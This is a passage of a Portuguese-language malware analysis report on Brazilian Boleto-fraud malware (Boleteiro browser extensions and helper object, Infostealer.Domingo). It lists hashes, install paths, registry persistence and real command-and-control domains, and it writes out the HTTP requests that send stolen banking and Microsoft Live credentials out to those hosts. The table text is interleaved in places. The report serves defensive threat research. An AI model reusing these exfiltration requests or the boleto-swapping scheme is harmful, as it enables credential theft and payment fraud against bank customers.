Boleteiro Dropper C cria o seguinte arquivo (Tabela 43) Tabela 43. Arquivo criado pelo Boleteiro Dropper C que inicia o BHO. Arquivo EXTENSÃO GOOGLE CHROME A %UserProfile%\Application Data\AdobePro.jpg Extensão Google Chrome A é sobrescrita em JavaScript e é capaz de manipular boletos e roubar credenciais de on-line Tabela 44. Componente Extensão A Google Chrome Boleteiro características banking. Algumas cadeias dentro Nome do Arquivo Manifest.js da extensão Google Chrome são codificadas usando o algoritmo MD5 2c504aac3f95e43743f1237f98317330 ROT13. SHA-1 19c2691dcb281769c1e554df33fe6d6e930a16bd SHA-256 675e3bd1960d6f289158450d76fc6a9a64238eb744c- FUNCIONALIDADE 852ca7e8aacd5410af585 Tamanho (bytes) 13773 A extensão Google Chrome é Objetivo Interceptar Boletos e roubar credenciais do internet banking carregada quando o navegador é inicializado O principal objetivo da extensão Google Chrome é manipular boletos e roubar credenciais dos e-mails e dos websites de bancos on-line.

MANIPULANDO NÚMEROS DE BOLETOS A extensão do Google Chrome é capaz de interceptar e substituir números de boletos por dados fornecidos pelo infrator em websites que contenham as seguintes palavras chaves: • LOCAL DE PAGAMENTO • VENCIMENTO • PAGADOR • SACADO A EXTENSÃO Google Chrome buscará por um padrão que combina com um número de boleto, por exemplo:: • 03399.65295 62300.000007 00044.201028 0 00000000000000 Caso um número de boleto seja encontrado, é enviado para o servidor de controle juntamente com as seguintes informações: • Data de vencimento • Valor • Pagador • Destinatário • Acionador URL O servidor de controle responde com um número de boleto fornecido pelo criminoso para substituir o número legitimo. O número fornecido pelo infrator é então exibido para a vítima em seu navegador. A extensão do Google Chrome irá ignorar os seguintes URL quando processar algum boleto • http://www.bradesco.com.br/html/classic/produtos-servicos/outros/2-via-de-boleto.shtm ROUBANDO CREDENCIAIS A extensão Google Chrome pode roubar credenciais de login dos seguintes serviços web: • [NOME DO BANCO A] • [NOME DO BANCO B] • Microsoft Live A extensão Google Chrome checará, periodicamente, se a página da web atual está nesta lista e então tenta roubar suas credenciais.

Page 33 Análise de malware que visa o sistema de pagamento via Boleto

[NOME DO BANCO A] A extensão Google Chrome rouba credenciais de login a partir de um domínio associado com [NOME DO BANCO A]. A Extensão se apropria das seguintes informações: • Nome de Usuário • Senha de acesso; • Senha do Token. MICROSOFT LIVE A extensão Google Chrome se apropria das credenciais de login dos seguintes domínios Microsoft: • Live.com A extensão se apropria das seguintes informações: • Nome de Usuário • Senha de acesso; [NOME DO BANCO B] A extensão Google Chrome rouba credenciais de login a partir de um domínio associado com o [NOME DO BANCO B]. A extensão se apropria das seguintes informações: • Organização; • Conta; • Nome de Usuário; • Senha de acesso; • Número Token; • Número de celular • Séries; • Assinatura. INSTALAÇÃO A extensão Google Chrome não aciona instalações adicionais e a instalação não é realizada por um dropper. A extensão Google Chrome e o dropper não adicionam qualquer persistência. A extensão Google Chrome é criada no seguinte local: • %UserProfile%\Application Data\Microsoft\Google\Manifest.js

Tabela 45. Solicitaçõess HTTP GET utilizados pelo Boleteiro Extensão Google Chrome A Protocolo Servidor de controle URI Descrição GET instacarlive.brinkster.net GeraBoleto.asp Manipulação de Boleto GET instacarlive.brinkster.net [BANK NAME A]Mail.asp [NOME DO BANCO A] extraçãode credenciais GET instacarlive.brinkster.net OutLook.asp Exfiltração de credenciais do Microsoft Live GET borgestransportesme.com.br [BANK NAME B].asp [NOME DO BANCO B] Extração de informações vulneráveis

Page 34 Análise de malware que visa o sistema de pagamento via Boleto

COMANDO E CONTROLE Tabela 46.Parâmetros enviados ao servidor C&C pela extensão Google Chrome A durante a A extensão Google Chrome comunica-se utilizando manipulação de boleto Solicitações HTTP GET pela porta 80. O tráfego de rede não está criptografado. Parâmetro Descrição Vencimento Data de vencimento /GeraBoleto.asp Valor Valor Durante a manipulação de boletos, a extensão Google Sacado Sacado Chrome faz Solicitações HTTP GET ao servidor de controle, URL URL alvo semelhante ao exemplo a seguir:: Navegador Aplicativo do Browser /GeraBoleto.asp?Vencimento=4862&Valor= 2000000000&Sacado=%20END%20PAGCPCN%20/ CPF/CNPJ%20END%20CHECK%20IT!&URL= _ http://127.0.0.1/boleto.html&Browser=Chrome O servidor de controle responde com os valores fornecidos pelo infrator, utilizados para manipular um boleto legitimo. O valor fornecido pelo criminoso então será exibido à vítima em seu navegador.

/[NOME DO BANCO A]Mail.asp A extensão Google Chrome rouba credenciais quando um usuário visita um domínio associado com o [NOME DO BANCO A]. A Solicitação GET a seguir, é utilizada para fazer upload do nome de usuário roubado, senhas de acesso e senha do Token, ao servidor de controle:

/[BANK NAME A]Mail.asp Tabela 47. Parâmetros enviados ao servidor C&C pela .asp?Mensagem=[USER NAME]%20 extensão Google Chrome A durante um furto de credencial -%20[PASSWORD]%20-%20[PASSWORD Microsoft Live TOKEN] Parâmetro Descrição /OutLook.asp Usuário Nome de usuário A extensão Google Chrome roubará credenciais Password Senha de acesso quando um usuário visita o seguinte domínio Browser Aplicativo do navegador Microsoft Live: • Live.com A Solicitação GET a seguir, é utilizada para Tabela 48 – Parâmetros enviados ao servidor de controle fazer upload do nome de usuário roubado, Extensão Google Chrome A durante um roubo de credenciais do senhas de acesso e aplicativo do navegador, ao [NOME DO BANCO B] servidor de controle: Parâmetros Descrição /OutLook.asp?User=tester&pa Agência Organização ssword=mypassword&Browser=C Conta Conta bancária hrome Usuário Nome do usuário [NOME DO BANCO B].asp Senha Senha de Acesso Token Token A extensão Google Chrome roubará as credenciais quando um usuário visitar um Celular Número do celular domínio associado com [NOME DO BANCO B]. Serie Serie Assinatura Assinatura A Solicitação GET a seguir é utilizada para Browser Aplicativo do navegador enviar informações vulneráveis, incluindo credenciais roubadas, ao servidor de controle:

/[BANK NAME A].asp?Agencia=Agencia&Conta=Conta&Usuario=Usuario&Senha=Senha&T okem=Tokem&Mobile=Mobile&Serie=Serie&Assinatura=Assinatura&Browser=Chrome

Page 35 Análise de malware que visa o sistema de pagamento via Boleto

EXTENSÃO GOOGLE CHROME B

Extensão Google Chrome B está Table 49. Boleteiro Google Chrome Extension B component characteristics sobrescrita em Java Script e é capaz de manipular boletos. File name Manifest.js MD5 707deba29796a0b0339d9745ffe6f3a3 FUNCIONALIDADE SHA-1 73918a3f14a0762262c3642684f3fd67b603cfa3 The Google Chrome extension is SHA-256 409f91a6febefe1f199c54a4afcd09a71adc5e5d884420061d59b5e126ba5502 The Google Chrome extension is Size (bytes) 3913 loaded when Google Chrome is Purpose Intercept Boletos launched. Its main purpose is to manipulate Boletos. A extensão é capaz de interceptar e substituir números legítimos de boletos por valores fornecidos pelos criminosos em páginas da web que contenham as seguintes palavras chaves: • LOCAL DE PAGAMENTO • VENCIMENTO • PAGADOR • SACADO TA extensão Google Chrome buscará por padrões numéricos que combinem com os números de boleto, por exemplo: Caso um número de boleto seja encontrado, ele é enviado para o servidor de controle juntamente com as seguintes informações: • Vencimento; • Valor; • Pagador; • Destinatário • Acionador URL. O servidor de controle responde com um número de boleto fornecido pelos infratores, a fim de substituir o documento verdadeiro. O número do falsificador é então exibido às vítimas em seus navegadores. INSTALAÇÃO A extensão Google Chrome não aciona instalações adicionais e a instalação não é feita por um dropper. COMANDO E CONTROLE

A extensão Google Chrome comunica-se Tabela 50. Solicitações HTTP GET utilizadas pelo Boleteiro Extensão utilizando solicitações HTTP GET pela Google Chrome B porta 80. O trafego de rede não está criptografado. Protocolo Servido de Controle URI Descrição GET planansa.com.br welcomes.asp Manipulação de Boleto /welcomes.asp Durante uma manipulação de boleto, a extensão Google Chrome cria uma solicitação HTTP GET e a envia ao servidor de controle, semelhante ao exemplo a seguir:

/welcomes.asp?Vencimento=486 Tabela 51. Parâmetros enviados ao servidor C&C pela 2&Valor=2000000000&Sacado=%20 extensão Google Chrome B durante a manipulação de boleto END%20PAGCPCN%20/CPF/CNPJ%20 Parâmetro Descrição END%20CHECK%20IT!&URL= _ http://127.0.0.1/boleto. Vencimento Data de vencimento html&Browser=Chrome Valor Valor Tabela 51 descreve os parâmetros enviados ao Sacado Sacado servidor de controle. URL URL alvo Navegador Aplicativo do Browser

Page 36 Análise de malware que visa o sistema de pagamento via Boleto

O servidor de controle responde com os valores fornecidos pelos infratores, utilizados para manipular um boleto legitimo. Os valores fornecidos pelos criminosos são então exibidos às vítimas em seus navegadores. A resposta de dados contém o pagador original, quantia, data vencimento com o número do boleto e código de barras falsificados, quais são utilizados para gerar um novo talão de boleto.

Tabela 52 – Abuso de terceiros em serviços de criação de boletos Modelo URL Razão 707deba29796a0b0339d9745ffe6f3a3 _https://carrinho.americanas.com.br/bankslip/ Gerar logo do banco geraboleto?type=img&value=104.png 707deba29796a0b0339d9745ffe6f3a3 _https://carrinho.americanas.com.br/bankslip/gera-boleto?type=barCod Gerar código de barras e&value=10491620120000000005292492000200040610062090 38d5efbecc7a6f94f4b81d83dd0c260a _http://superlogica.com//boleto/barras.php?codigo=[BOLETO NUMBER Gerar código de barras

ABUSO DE SERVIÇOS DE TERCEIROS O primeiro link gera uma imagem para o banco selecionado. Neste caso, o código 104 é utilizado e o qual, é associado com o [NOME DO BANCO C]. Contudo, diferentes tipos de logos de bancos podem ser gerados ao alterar o parâmetro de valores na solicitação. O segundo e terceiro links podem ser Tabela 53. Características do componente Boleteiro BHO utilizados para gerar um novo Nome do AdobePro.jpg código de barras. O segundo Arquivo link fora desabilitado e está MD5 085b407e36778f7908f89f9efa556db7 inativo desde então. SHA-1 ed868b3b4185bdbd68cdaad96168d4199a094e93 BROWSER HELPER SHA-256 48d0d54f672f0ec48b37d15f21fc2e49bfdc3d501362c06a98ebbbbe7698bb24 OBJECT (Browser Tamanho 21504 (bytes) Helper Object) Objetivo Interceptar Boletos e roubar credenciais do internet banking O Browser Helper Object é um pacote DLL UPX sobescrito em Visual Basic. Ele pode manipular boletos e roubar credenciais a partir de um e-mail e websites de internet banking. O assistente de navegação utiliza codificação BYTE XOR para ofuscar as cadeias.

FUNCIONALIDADE A função principal do Browser Helper Object é manipular boletos e roubar credenciais de acesso a partir de e-mails e serviços do on-line banking.

ROUBO DE CREDENCIAIS O Browser Helper Object é capaz de roubar credenciais dos seguintes websites: • [NOME DO BANCO A].com.br; • Live.com O Browser Helper Object inspeciona elementos HTML a fim de recuperar os valores de credenciais. O nome de usuário e a senha de acesso para o live.com são armazenadas no registro.

MANIPULAÇÃO DE BOLETO O Browser Helper Object é capaz de manipular boletos a partir dos seguintes websites: • [NOME DO BANCO D].com.br; • [NOME DO BANCO E].com.br.

Page 37 Análise de malware que visa o sistema de pagamento via Boleto

O Browser Helper Object inspeciona elementos HTML para recuperar o conteúdo e, então, utiliza inserções JavaScript para modificar o conteúdo dos boletos. Pode-se ainda fazer uma varredura geral por boletos, por simplesmente procurar formatos numéricos de boletos. O Browser Helper Object pode enviar informações roubadas ao servidor do criminoso, o qual fornece informações modificadas de boletos para substituir uma informação legitima. Um boleto fraudulento é então exibido às vítimas em seus navegadores. O Browser Helper Object ignora os seguintes websites quando processa boletos: • facebook.com • google.com • dpf.gov • mail.live.com • bing.com • yahoo.com • http://www.bradesco.com.br/html/classic/produtos-servicos/outros/2-via-de-boleto.shtm O Browser Helper Object é configurado para roubar boletos de 13 diferentes bancos emissores de boleto e outras organizações.

INSTALAÇÃO O Browser Helper Object fora criado no seguinte local: • %UserProfile%\Application Data\Microsoft\Google\AdobePro.jpg O Browser Helper Object salvará o nome do usuário e senha de acesso extraídos do live.com, nas seguintes sub-chaves de registro: • HKEY_CURRENT_USER\Software\VB and VBA Program Settings\AdobePro\OutLook\User • HKEY_CURRENT_USER\Software\VB and VBA Program Settings\AdobePro\OutLook\Pass

Tabela 54. Solicitações HTTP GET utilizados pelo Boleteiro Browser Helper Object Protocolo Servidor de controle URI Descrição GET www.instacar.com.br Historico.asp [NOME DO BANCO D]Manipulação de Boleto GET www.instacar.com.br outlook.asp Roubo de credenciais do Microsoft Live GET www.misterpostman.com.br gateway.aspx [NOME DO BANCO A] Roubo de credenciais GET www.instacar.com.br GeraBoleto.asp Manipulação genérica de boletos

Nota: AdobePro é tomado de nome de arquivo do Browser Helper Object, que é AdobePro.jpg. COMANDO E CONTROLE O Browser Helper Object comunica-se utilizando solicitações HTTP GET/POST pela porta 80. O Microsoft XMLHTTP Object é utilizado para estabelecer comunicações. O tráfego de rede do Browser Helper Object não é criptografado.

/Historico.asp Tipo 1

Quando manipula-se número Tabela 55. Parâmetros enviados ao servidor C&C pelo Boleteiro Browser help de boletos relacionados object durante a manipulação de boletos Tipo 1 do [NOME DO BANCO D] e ao [NOME DO BANCO D] [NOME DO BANCO E] e [NOME DO BANCO E], o Browser Helper Object envia Parâmetro Descrição as seguintes solicitações SBanco Código bancário de três dígitos HTTP GET ao servidor de Versão Versão Boleteiro controle: Tipo Tipo (este valor é sempre “F”)

Page 38 Análise de malware que visa o sistema de pagamento via Boleto

http://www.instacar.com.br/Historico.asp?B=sBanco&T=B&versao=[BOLETO VERSION N U M BER]&Tip o =F A resposta do servidor de controle contém as seguintes tags HTML: • [ATTACKER-SUPPLIED BOLETO NUMBER][BOLETO VALUE] Nesta situação, CODIGO pode conter um número de boleto fornecido pelo infrator, e VALOR pode conter a quantia do boleto. Estes estão são utilizados para substituir os valores de um boleto legitimo.

Tipo 2 Ao enviar o ID do boleto e as informações relacionadas para o [NOME DO BANCO D] e [NOME DO BANCO E], a seguinte solicitação HTTP é enviada ao controle do servidor:

http://www.instacar.com.br/Historico.asp?B=[VALUE1]&T=B&S=[VALUE2]&C=[VALUE3]&D =[VALUE4]&V=[VALUE5]&O=U&versao=[VALUE6]&Tip o =[VALUE7]&Comprovante=[VALUE8]

Tabela 56. Parâmetros enviados ao servidor C&C pelo Boleteiro Browser Help Object durante uma manipulação de boletos Tipo 2 do [NOME DO BANCO D] e [NOME DO BANCO E] Parâmetros Descrição B Código bancário de três dígitos T Desconhecido (Este valor é sempre ‘B” S Desconhecido (este valor pode ser “Pago” ou “Agendado” C Desconhecido (Este é o valor provável baseado no valor do Código na solicitação anterior, porem não fora verificado) D Desconhecido (Este é provavelmente a data de vencimento, porém não fora verificado) V Desconhecido (Este é o valor provável, porém não fora verificado) O Desconhecido (Este valor é sempre “U”) Versão Versão Boleteiro Tipo Desconhecido (Este valor é sempre “F”) Comprovante Desconhecido (Este pode fazer parte de um dado HTML original no Internet Explorer, porém não fora verificado)

Uma resposta do servidor de controle não é esperada para esta solicitação.

/gateway.aspx Tabela 57. Parâmetros enviados ao servidor C&C pelo Boleteiro Browser Help Object durante a manipulação de boletos do [NOME Quando as credenciais do [NOME DO DO BANCO A] BANCO A] são roubadas, o Browser Helper Object envia a seguinte solicitação HTTP Param_value Descrição GET ao controle do servidor: Valor 1 Nome de Usuário Valor 2 Senha de acesso http://www.misterpostman. com.br/gateway. Valor 3 oobToken aspx?UserID=ef5a[VALUE1]- [VALUE2]- [VALUE3]&Descricao=Mail A tabela 57 descreve os valores de parâmetros enviados ao parâmetro UserID. Uma resposta do servidor de controle não é esperada para esta solicitação.

/outlook.asp

Page 39 Análise de malware que visa o sistema de pagamento via Boleto

Quando as credenciais Microsoft Live são Tabela 58. Parâmetros enviados ao servidor C&C pelo Boleteiro roubadas, o Browser Helper Object envia a Browser Help Object durante um roubo de credencial seguinte solicitação HTTP GET ao controle Microsoft Live do servidor: Parâmetro Descrição http://www.instacar.com. Usuário Nome de Usuário br/outlook.asp?User=[USER Password Senha de acesso NAME]&PassWord=[PASSWORD] /GeraBoleto.asp Tabela 59. Parâmetros enviados ao servidor C&C pelo Durante uma manipulação genérica de boleto, o Boleteiro Browser Help Object durante a manipulação Browser Help Object solicita o seguinte POST ao genérica de boletos servidor de controle para gerar um boleto, com o Content-Type application/x-www-form-urlencoded: Parâmetro Descrição Banco Código bancário de três dígitos http://www.instacar.com.br/ Sacado Número original de ID do boleto GeraBoleto.asp?Banco=[VALUE1]&Sac ado=[VALUE2]&Va lor =[VALUE3]&Ve nci Valor Valor mento=[VALUE4]&U R L =[VALUE5]&Co m pr Vencimento Data de vencimento ovante=[VALUE6]&Versao =[VALUE7] URL Acionador URL MAXTHON BROWSER ADD-ON Comprovante Conteúdo HTML original contendo infor- mações do boleto O pacote Maxthon Browser add-on mascara-se como Versão Versão do Boleteiro um aplicativo legitimo chamado Maxtron Update. Este erro de soletração deve-se a um descuido dos infratores. Este aditivo manipula boletos, Tabela 60. Componente Boleteiro Maxthon Add-on rouba credenciais e detalhes de cartões. Este add- características on é carregado quando o navegador Maxthon é Nome do 1361840469.mxaddon inicializado. Arquivo MD5 b65045764439540b521f2f717ac56652 FUNCIONALIDADE SHA-1 31046943fd87f3b38fc9a328ab75945c525e2e0e O pacote do Maxthon browser add-on contém SHA-256 2c6a4158df42330f3044587cbcf6fd5582f9f01cb- componentes JavaScript que manipula boletos, rouba b8e25b66ec573217b83802a credenciais e informações de cartões. O componente Tamanho 517674 JavaScript pode ser usado como uma extensão (bytes) ‘nuvem’ do browser Maxthon. Objetivo Roubar boletos e credenciais INSTALAÇÃO O pacote pode ser obtido por Tabela 61. Arquivos criados pelo componente Boleteiro Maxthon add-on download pela seguinte URL: Nome do arquivo Descrição • https://g0lp3reboleto.googlecode. icon_16.png Extensão arquivo de imagem com/svn/Maxtron/LT01.mxaddon icon_16.png Extensão arquivo de imagem O arquivo é armazenado no seguinte icon_48.png Extensão arquivo de imagem local: def.json Extensão arquivo de definição • %UserProfile%\Application url.ie.js Extensão roubo de boleto Data\Maxthon3\Users\guest\ MxPacker.exe Aplicativo para pacote de arquivo nos pacotes mxaddon Addons\1361840469.mxaddon MxPacker.rar Versão comprimida do MxPacker.exe O pacote baixado contém um número de arquivos (listados na seção a seguir), assim como o Maxthon Browser Add-on.

PERSISTÊNCIA A modificação realizada é uma operação em cadeia que substitui instancias verdadeiras por falsas no config.ini file, mas o pacote não é devidamente instalado.

Page 40 Análise de malware que visa o sistema de pagamento via Boleto

O pacote Maxthon é criado no seguinte local: • %UserProfile%\Application Data\Maxthon3\Users\guest\ Addons\1361840469.mxaddon A configuração de arquivo Maxthon a seguir é modificada durante a instalação: • %UserProfile%\Application Data\Maxthon3\Users\guest\AddonsData\MxAddonMisc\config INFRAESTRUTURA Tabela 62 – Infraestrutura utilizada pelo componente Boleteiro Maxthon browser add-on Domínio Registrar Nome reg- Email regis- Data de Endereço de ASN Local istrante trante criação IP instacarlive.brinkster.net GODADDY. Dotster.com support@dotsterinc. 2000- 65.182.101.243 AS33055 EUA COM, LLC com 0712 borgestransportesme. Locaweb S A DE M sorannealvesdenour- 2013- 186.202.149.150 AS27715 São Paulo com.br Serviços De BORGES ME aborges@hotmail. 1219 Internet com instacar.com.br - - - - 186.202.149.13 - - misterpostman.com.br Hosting Mister Post- - - 199.217.117.153 AS30083 EUA Solutions man Market- Internationa ing Direto planansa.com.br Planansa - - 200.234.196.195 AS27715 São Paulo ADM. Corre- tora Seguros LTDA Infostealer.Domingo Tabela 63 – Pseudônimos usados pelo Domingo Fabricante Peudonimo Na data de 10 de Julho de 2014, Trusteer publicou em um blog, detalhes relevantes sobre o Domingo, uma nova forma Symantec Infostealer.Domingo de ameaça. Infostealer.Domingo utiliza o Componente Avast Win32:Boleto-A Object Model para desempenhar manipulações DOM no Internet Explorer, a fim de, modificar boletos autênticos. Infostealer.Domingo pode manipular boletos que são gerados on-line e boletos armazenados no sistema de arquivos com intuito de redirecionar pagamentos para contas fraudulentas controlada por criminosos.

Tabela 64 – lista de artefatos utilizados na análise do Infostealer.Domingo Registro de data PE MD5 Tamanho Nome do Arquivo Objetivo 09 de Maio de 2013 – ee64e56ee86286cadf4e44f827483829 905322 ee64e56ee86286cad- Dropper 12:06:59 f4e44f827483829 19 de Junho de 1992 – b078e13134fda91ee3d0b4660f3176d6 660480 startup.exe Componente Persis- 23:22:17 tence 19 de Junho de 1992 – d972d719aab8f4750ee0b15187dc1ad0 507904 d972d719aab8f4750ee- Boleto Manipulator 23:22:17 0b15187dc1ad0 19 de Junho de 1992 – 65d2b31b92da3fb894e11bf71dd7dc02 733696 industria.exe Boleto Manipulator 23:22:17

Tabela 65 – desafios de engenharia reversa Identification descobertos durante o curso da analise USO DE EXPLOIT Categoria Descrição Anti-depuração NÃO Nenhum exploit fora utilizado para transportar o Anti-emulação NÃO Infostealer.Domingo. Anti-VM NÃO ANTI-ANÁLISE Pacote e compressão SIM Ofuscação SIM Tabela 65 contém uma lista de desafios de engenharia reversa Base Host criptografada NÃO descobertos durante o curso da análise. Base de rede criptografada NÃO Manobras laterais do NÃO servidor

Page 41 Análise de malware que visa o sistema de pagamento via Boleto

PACOTES E COMPRESSÃO Infostealer.Domingo utiliza Winrar SFX para montar pacotes do droppers.

OFUSCAÇÃO Cadeias incorporadas ao malware são codificadas como nos seguintes caracteres hexadecimais. • Codificado: 687474703A2F2F • Decodificado: http:// A lista a seguir contém cadeias decodificadas: • wininet.dll • iexplore.exe • http://http://www.serw.net.pl/joomla-25/modules/mod_megamininews/images/html/oi/cntt.php • http://centroactivo.pt/components/com_akeeba/controllers/HTML/barras.png • http://centroactivo.pt/components/com_akeeba/controllers/HTML/A/oi/boleto.php?LETO • centroactivo.pt • autenticação mecânica • SOFTWARE\Microsoft\Windows\CurrentVersion\Run • InternetReadFile • InternetOpenUrlA • InternetOpenA • InternetCloseHandle • Content-Type: application/x-www-form-urlencoded • 03399.65295 62300.00000700044.201028 0 00000000000000 • /components/com_akeeba/controllers/HTML/A/oi/boleto.php

CRIPTOGRAFIA Tabela 66 – Componente Domingo Dropper características Nome do Arquivo ee64e56ee86286cadf4e44f827483829 Infostealer.Domingo não usa base Host MD5 ee64e56ee86286cadf4e44f827483829 criptografada ou encriptação de rede. SHA-1 26914ac0a3a5948d7a68fd9acb13c53a8bcff17c Dropper SHA-256 96ab1472b28bcf9cf111726fe328c74dd87dab- 012272246dbf33f7a52c93de29 O DROPPER é SFX Winrar, o qual cria o Tamanho (bytes) 905322 componente Persistence (startup.exe) e o Objetivo Lançar o dropper Persistance e o Boleto Manipulator Boleto Manipulator (indústria.exe), os executa e os encerra sozinho.

INSTALAÇÃO O dropper fará download dos Tabela 67 – Arquivos criados pelo componente Domingo dropper arquivos na tabela 67. MD5 Nome do Arquivo O dropper contém a seguinte 65d2b31b92da3fb894e11bf71dd7dc02 %UserProfile%\Application Data\industria.exe configuração de informação que é b078e13134fda91ee3d0b4660f3176d6 %UserProfile%\Application Data\startup.exe utilizada quando se extrai os dois executáveis:

;O comentário abaixo contém comando de sequência SFX

Path=%UserProfile%\Application Data\ Setup=industria.exe Setup=startup.exe Silent=1 Overwrite=1

Page 42 Análise de malware que visa o sistema de pagamento via Boleto

COMPONENTE PERSISTENTE Tabela 68 – Características do componente Persistence Domingo O componente Persistente cria um Nome do Arquivo startup.exe registro chave que assegura que o Boleto MD5 b078e13134fda91ee3d0b4660f3176d6 Manipulator seja persistente em toda SHA-1 20dffd6912cf41b63837c99b594f375e88294831 reinicialização. SHA-256 bdaa1b1defc292749433bbd7f3c475f0f25d78a6e- Nota: Esta chave de valor também tem sido daf82ed3b821b189ef0e719 observada como Avadaquevadra. Tamanho (bytes) 660480 Objetivo Criar registros de entrada para manter o persistence

Tabela 69 – Subchave de registro criada pelo componente Domingo Persistence para sssegurar que Boleto Manipulator é persistente em toda reinicialização Ação Subchave de registro Nome Tipo Info Cria HKEY_CURRENT_USER\Software\Microsoft\ Espadres REG_SZ =%UserProfile%\Application Data\industria.ex Windows\CurrentVersion\Run

Tabela 70. Características de componentes de Domingo Boleto Manipulador BOLETO Nome do Arquivo d972d719aab8f4750ee0b15187dc1ad0 MANIPULATOR MD5 d972d719aab8f4750ee0b15187dc1ad0 O Boleto Manipulator é um SHA-1 7caf08fc78664db09f72f01be93619a45281fe19 alterador de boleto que SHA-256 bdb5704d32b00ddc82f11a85266bdd719e4172354285c- utiliza shdoccvw.dll, um 1590b3320e41c445550 controle de navegador de Tamanho (bytes) 507904 web, para interagir com o Objetivo Boleto manipulação Internet Explorer. O controle possui o seguinte CLSID: • 9BA05972-F6A8-11CF-A442-00A0C90A8F39 O Boleto Manipulator escaneia o conteúdo da página da web no Internet Explorer e, arquivos no sistema para substituir números de boleto com os dados fornecidos pelo infrator. O Boleto Manipulator não possui componentes incorporados, camadas para pacote ou criptografia.

FUNCIONALIDADE Quando o Boleto Manipulator é executado, ele compara as sub-chaves de registro a seguir: • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Avadaquevadra O Boleto Manipulator se reportará ao servidor de controle caso uma Subchave não exista. O boleto Manipulator cria o seguinte mutex para evitar inicialização em instâncias múltiplas: • •Expeliarmusis O Boleto Manipulator então enviará uma solicitação ao servidor de controle para baixar um modelo de numeração de boleto. Caso o servidor esteja indisponível, um modelo hard-code numérico de boleto é usado. Durante a análise, o modelo número remoto do boleto era idêntico ao hard-code a seguir: • 03399.65295 62300.000007 00044.201028 0 00000000000000 O modelo numérico de boleto não inicia os campos a seguir: • Verificação geral de soma • Data de vencimento • Valor

Page 43 Análise de malware que visa o sistema de pagamento via Boleto

A data e o valor devido serão obtidos a partir do número original do Boleto e a soma de verificação geral será recalculada. O Boleto Manipulador pode operar em modo on-line e off-line. 1. Modo on-line - manipular Boletos apresentados durante a navegação na web no Internet Explorer; 2. Modo off-line –manipular Boletos no sistema de arquivos (.htm / .html arquivos off-line em unidades B: - Z :) O objetivo deste é redirecionar pagamentos via Boleto para uma conta controlada pelo infrator. MANIPULAÇÃO DO BOLETO A fim de manipular um Boleto, o Boleto Manipulador irá procurar o conteúdo HTML para um número Boleto. O Boleto Manipulador vai procurar padrões numéricos que se assemelham a números de Boleto e compensações específicas para verificar se ele é um número de Boleto. Tabela 71. Caracteres Hexadecimais O Boleto Manipulador verifica os caracteres hexadecimais e deslocamentos para verificar o número Boleto (Tabela 71). checados pelo componente Boleto Manipulador O Boleto Manipulator também irá alterar o código de barras. Para Offset Caractere Hexadecimal fazer isso, o Boleto Manipulador tentará detectar os seguintes textos: 0x05 0x2E 0x0B 0x20 • autenticação mecânica • autenticacao mecanica 0x11 0x2E Se o texto for encontrado, o Boleto Manipulador irá substituir o 0x18 0x20 código de barras original com um código de barras fornecido pelo 0x1E 0x2E invasor obtido a partir do servidor de controle. 0x25 0x20 Se o texto não for encontrado, o código de barras fornecido pelo 0x27 0x20 intruso é colocado no final do documento Boleto. Nota: A validade do código de barras fornecido pelo atacante não foi verificada.

INSTALAÇÃO Tabela 72. Processos modificados pelo componente Domingo Boleto Manipulator Se o Internet Explorer é iniciado, o Boleto Manipulador irá iniciar o controle de navegador web para habilitá-lo para procurar e Ação Processo manipular o DOM para Boletos (Tabela 72). Modificar iexplore.exe COMANDO E CONTROLE O Boleto Manipulador usa o protocolo HTTP na porta 80 para se comunicar com o servidor de controle.

Tabela 73. Tipos pedido suportados pelo componente Domingo Boleto Manipulador Método Servidor de Caminho Descrição controle GET serw.net.pl joomla-25/modules/mod_megamininews/images/html/oi/cntt.php Notificação GET centroactivo.pt components/com_akeeba/controllers/HTML/A/oi/boleto.php?LETO Download do novo template do número do Boleto POST centroactivo.pt components/com_akeeba/controllers/HTML/A/oi/boleto.php Enviar novos e antigos dados do Boleto para o servidor de controle GET centroactivo.pt components/com_akeeba/controllers/HTML/barras.png Download do novo código de barras do Boleto

NOTIFICAÇÃO O seguinte pedido é enviado para notificar o servidor de controle se a subchave de registro Avadaquevadra, que é responsável pela persistência, não existe (Tabela 74).

Tabela 74. Solicitação de notificação enviada pelo componente Domingo Boleto Manipulador Método Servidor de Controle Caminho Descrição GET serw.net.pl joomla-25/modules/mod_megamininews/images/html/oi/cntt.php Notificação

Page 44 Análise de malware que visa o sistema de pagamento via Boleto

TO Boleto Manipulador não processa todos os dados de resposta de entrada. PEDIDO DE MODELO DO BOLETO O seguinte pedido é enviado para o servidor de controlo para recuperar um número de Boleto modelo que irá ser utilizado para gerar um novo número Boleto e substituir o original:

GET /components/com _ akeeba/controllers/HTML/A/oi/boleto.php?LETO HTTP/1.1 Host: centroactivo.pt Tabela 75. Pedido de modelo de Boleto enviados pelo componente Domingo Boleto Manipulador Método Servidor de Controle Caminho Descrição GET centroactivo.pt components/com_akeeba/controllers/HTML/A/oi/ Download do novo modelo de número components/com_akeeba/ boleto.php?LETO do Boleto controllers/HTML/A/oi/

A resposta a seguir detalha o novo número Boleto:

HTTP/1.1 200 OK Date: Thu, 02 Oct 2014 17:15:48 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20 X-Powered-By: PHP/5.3.20 Content-Length: 56 Content-Type: text/html

[03399.65295 62300.000007 00044.201028 0 00000000000000] Upload da informação do Boleto O seguinte pedido é usado para enviar informações relacionadas com novos e antigos Boletos para o servidor de controle:

POST /components/com _ akeeba/controllers/HTML/A/oi/boleto.php HTTP/1.0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 247 Host: centroactivo.pt Accept: text/html

O=23790.09505%2090000.000001%2001023.190000%203%2026420010000000& N=03399.65295%2062300.000007%2000044.201028%209%2026420010000000& U=http%3A%2F%2Fwww.bradesco.com.br%2Fhtml%2Fclassic%2Fprodutos- servicos%2Foutros%2F2-via-de-boleto.shtm& V=100000%2C00 Tabela 76. Informações do Boleto carregadas por comandos enviados pelo componente Domingo Boleto Manipulador Método Servidor de Controle Caminho Descrição POST centroactivo.pt components/com_akeeba/controllers/HTML/A/ Enviar novos/antigos dados do Boleto para o oi/boleto.php servidor de controle

Tabela 77. Descrição dos Parâmetros utilizados nas solicitações anteriores Parâmetro Descrição O Número ID Original do Boleto N Novo Número ID do Boleto U Refere-se à URL (caso on-line) ou arquivo HTML (caso off-line) V Quantidade

Page 45 Análise de malware que visa o sistema de pagamento via Boleto

A seguinte resposta não contém quaisquer dados após os cabeçalhos:

